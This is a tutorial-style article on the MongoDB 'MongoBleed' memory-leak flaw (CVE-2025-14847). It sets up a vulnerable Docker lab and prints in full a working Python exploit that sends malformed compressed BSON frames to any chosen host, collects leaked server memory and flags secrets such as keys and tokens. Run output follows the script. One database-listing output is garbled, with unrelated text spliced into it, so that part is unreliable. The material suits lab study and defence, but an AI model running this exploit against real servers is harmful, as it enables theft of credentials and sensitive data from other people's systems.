Critical: CVE-2025-14847 MongoDB Uninitialized Memory Leak Vulnerability (“MongoBleed”)

Critical: CVE-2025-14847 MongoDB Uninitialized Memory Leak Vulnerability (“MongoBleed”)

Here in this article we will try to understand about the recent MongoDB vulnerability which allows an attacker to remotely extract secrets, credentials, and other sensitive data from an exposed MongoDB server.

This article is based on the original source “Exploited MongoBleed flaw leaks MongoDB secrets, 87K servers exposed“.

What is BSON

BSON is the binary encoding of JSON-like documents that MongoDB uses when storing documents in collections. It adds support for data types like Date and binary that aren’t supported in JSON.

What is zlib

Zlib is a free, open-source software library for lossless data compression and decompression, implementing the efficient DEFLATE algorithm (used in gzip), serving as a crucial component in many systems like Linux, macOS, and Node.js, and supporting formats for efficient data handling in web traffic, file storage, and network protocols.

If you are interested in watching the video. Here is the YouTube video on the same step by step procedure outlined below.

Procedure

Step1: Ensure Docker installed and running

Before proceeding, you need to install Docker and Docker Compose on your local machine. Follow official documentation pages to install the same.

admin@linuxscratch:~$ sudo systemctl start docker.service 
admin@linuxscratch:~$ sudo systemctl status docker.service 

Step2: Clone Mongobleed exoploit repository

This repository consist of a docker compose file which instantiates a vulnerable version of MongoDB database. Also it initializes the database with a application user, databases and collections with confidentials data for simulation purpose.

admin@linuxscratch:~$ git clone https://github.com/joe-desimone/mongobleed.git
admin@linuxscratch:~$ cd mongobleed/

Step3: Instantiate Vulnerable MongoDB instance

Here in this step we will instantiate the MongoDB database instance as shown below.

Docker Compose file

admin@linuxscratch:~/mongobleed$ cat docker-compose.yml 
version: '3.8'

services:
  mongodb-vulnerable:
    image: mongo:8.2.2
    container_name: mongobleed-target
    ports:
      - "27017:27017"
    environment:
      MONGO_INITDB_ROOT_USERNAME: admin
      MONGO_INITDB_ROOT_PASSWORD: SuperSecret123!
      MONGO_INITDB_DATABASE: secretdb
    volumes:
      - ./init/init-mongo.js:/docker-entrypoint-initdb.d/init-mongo.js:ro
      - mongodb_data:/data/db
    command: ["mongod", "--networkMessageCompressors", "zlib", "--bind_ip_all"]
    restart: unless-stopped

volumes:
  mongodb_data:
admin@linuxscratch:~/mongobleed$ docker compose up -d

Step4: Connect to MongoDB

Once the MongoDB container is up and running we can get a shell terminal for the container and connect to the admin database as shown below.

root@655c750a2c3c:/# mongosh -u admin -p SuperSecret123! mongodb://127.0.0.1:27017/admin
admin> show databases
admin      100.00 KiB
config      60.00 KiBMongoDB internal logs and state
WiredTiger storage engine configuration
System /proc data (meminfo, network stats)
Docker container paths
Connection UUIDs and client IPs

customers   80.00 KiB
local       72.00 KiB
secretdb   120.00 KiB

Here we are switching to the secretdb to validate the tables and collections that were created as a part of the database initiailization.

admin> use secretdb

secretdb> show tables
api_keys
encryption_keys
internal_users

Let’s now fetch all the records that are available in the api_keys table as shown below.

secretdb> db.api_keys.find()
[
  {
    _id: ObjectId('69537d2ad68142ed0e9dc29d'),
    service: 'stripe',
    api_key: 'sk_test_FAKE_KEY_FOR_TESTING_NOT_REAL_1234567890',
    secret_key: 'whsec_abcdef123456789SECRETWEBHOOK',
    created_at: ISODate('2025-12-30T07:20:10.366Z'),
    environment: 'production'
  },
...

Step5: Simulate Exploit

Now that we have a running instance of vulnerable MongoDB, we can the mongobleed.py python exploit script which will try extract the leaked data from memory as shown below.

The script crafts a BSON document that claims a larger document length than it actually contains, wrap it in an OP_MSG, compress that OP_MSG, then wrap that compressed payload inside an OP_COMPRESSED frame which itself claims a (possibly inflated) uncompressed buffer size. The combination can make a receiver allocate or trust incorrect lengths and crash / be exploited.

mongobleed.py script

admin@linuxscratch:~/mongobleed$ cat mongobleed.py 
#!/usr/bin/env python3
"""
mongobleed.py - CVE-2025-14847 MongoDB Memory Leak Exploit

Author: Joe Desimone - x.com/dez_

Exploits zlib decompression bug to leak server memory via BSON field names.
Technique: Craft BSON with inflated doc_len, server reads field names from
leaked memory until null byte.
"""

import socket
import struct
import zlib
import re
import argparse

def send_probe(host, port, doc_len, buffer_size):
    """Send crafted BSON with inflated document length"""
    # Minimal BSON content - we lie about total length
    content = b'\x10a\x00\x01\x00\x00\x00'  # int32 a=1
    bson = struct.pack('<i', doc_len) + content
    
    # Wrap in OP_MSG
    op_msg = struct.pack('<I', 0) + b'\x00' + bson
    compressed = zlib.compress(op_msg)
    
    # OP_COMPRESSED with inflated buffer size (triggers the bug)
    payload = struct.pack('<I', 2013)  # original opcode
    payload += struct.pack('<i', buffer_size)  # claimed uncompressed size
    payload += struct.pack('B', 2)  # zlib
    payload += compressed
    
    header = struct.pack('<IIII', 16 + len(payload), 1, 0, 2012)
    
    try:
        sock = socket.socket()
        sock.settimeout(2)
        sock.connect((host, port))
        sock.sendall(header + payload)
        
        response = b''
        while len(response) < 4 or len(response) < struct.unpack('<I', response[:4])[0]:
            chunk = sock.recv(4096)
            if not chunk:
                break
            response += chunk
        sock.close()
        return response
    except:
        return b''

def extract_leaks(response):
    """Extract leaked data from error response"""
    if len(response) < 25:
        return []
    
    try:
        msg_len = struct.unpack('<I', response[:4])[0]
        if struct.unpack('<I', response[12:16])[0] == 2012:
            raw = zlib.decompress(response[25:msg_len])
        else:
            raw = response[16:msg_len]
    except:
        return []
    
    leaks = []
    
    # Field names from BSON errors
    for match in re.finditer(rb"field name '([^']*)'", raw):
        data = match.group(1)
        if data and data not in [b'?', b'a', b'$db', b'ping']:
            leaks.append(data)
    
    # Type bytes from unrecognized type errors
    for match in re.finditer(rb"type (\d+)", raw):
        leaks.append(bytes([int(match.group(1)) & 0xFF]))
    
    return leaks

def main():
    parser = argparse.ArgumentParser(description='CVE-2025-14847 MongoDB Memory Leak')
    parser.add_argument('--host', default='localhost', help='Target host')
    parser.add_argument('--port', type=int, default=27017, help='Target port')
    parser.add_argument('--min-offset', type=int, default=20, help='Min doc length')
    parser.add_argument('--max-offset', type=int, default=8192, help='Max doc length')
    parser.add_argument('--output', default='leaked.bin', help='Output file')
    args = parser.parse_args()
    
    print(f"[*] mongobleed - CVE-2025-14847 MongoDB Memory Leak")
    print(f"[*] Author: Joe Desimone - x.com/dez_")
    print(f"[*] Target: {args.host}:{args.port}")
    print(f"[*] Scanning offsets {args.min_offset}-{args.max_offset}")
    print()
    
    all_leaked = bytearray()
    unique_leaks = set()
    
    for doc_len in range(args.min_offset, args.max_offset):
        response = send_probe(args.host, args.port, doc_len, doc_len + 500)
        leaks = extract_leaks(response)
        
        for data in leaks:
            if data not in unique_leaks:
                unique_leaks.add(data)
                all_leaked.extend(data)
                
                # Show interesting leaks (> 10 bytes)
                if len(data) > 10:
                    preview = data[:80].decode('utf-8', errors='replace')
                    print(f"[+] offset={doc_len:4d} len={len(data):4d}: {preview}")
    
    # Save results
    with open(args.output, 'wb') as f:
        f.write(all_leaked)
    
    print()
    print(f"[*] Total leaked: {len(all_leaked)} bytes")
    print(f"[*] Unique fragments: {len(unique_leaks)}")
    print(f"[*] Saved to: {args.output}")
    
    # Show any secrets found
    secrets = [b'password', b'secret', b'key', b'token', b'admin', b'AKIA']
    for s in secrets:
        if s.lower() in all_leaked.lower():
            print(f"[!] Found pattern: {s.decode()}")

if __name__ == '__main__':
    main()
admin@linuxscratch:~/mongobleed$ python3 mongobleed.py --host localhost --max-offset 50000
[*] mongobleed - CVE-2025-14847 MongoDB Memory Leak
[*] Author: Joe Desimone - x.com/dez_
[*] Target: localhost:27017
[*] Scanning offsets 20-50000

[+] offset=5621 len=  46: \u0013Tv��P��M\u0006�I/\u0015�a&\"R\u001cL;RJ^
[+] offset=9719 len= 151: Ps\u0013QnMvq@M\u0016-:=QkT&A&�\u0001n��-1�L4c]h}[[\b;2n?T\u001fh)7h\t$\t\bHS\u0
[+] offset=11770 len=  49: @�HWh��\u0013Vtg�\u0006*I/\u000f8a9\"RCLu\u001bJc
[+] offset=24074 len=  34: ��H�����Vtg���I����9\"RCLZ\u001b��
[+] offset=40437 len= 721: v�\u001e\u0019kJL&5���6�:S�lY�*oLc\u0002]@�O%${5&N^ZjY\u0018wq\u0007#,v\u00068\u

[*] Total leaked: 1047 bytes
[*] Unique fragments: 21
[*] Saved to: leaked.bin
[!] Found pattern: key
[!] Found pattern: token

Hope you enjoyed reading this article. Thank you..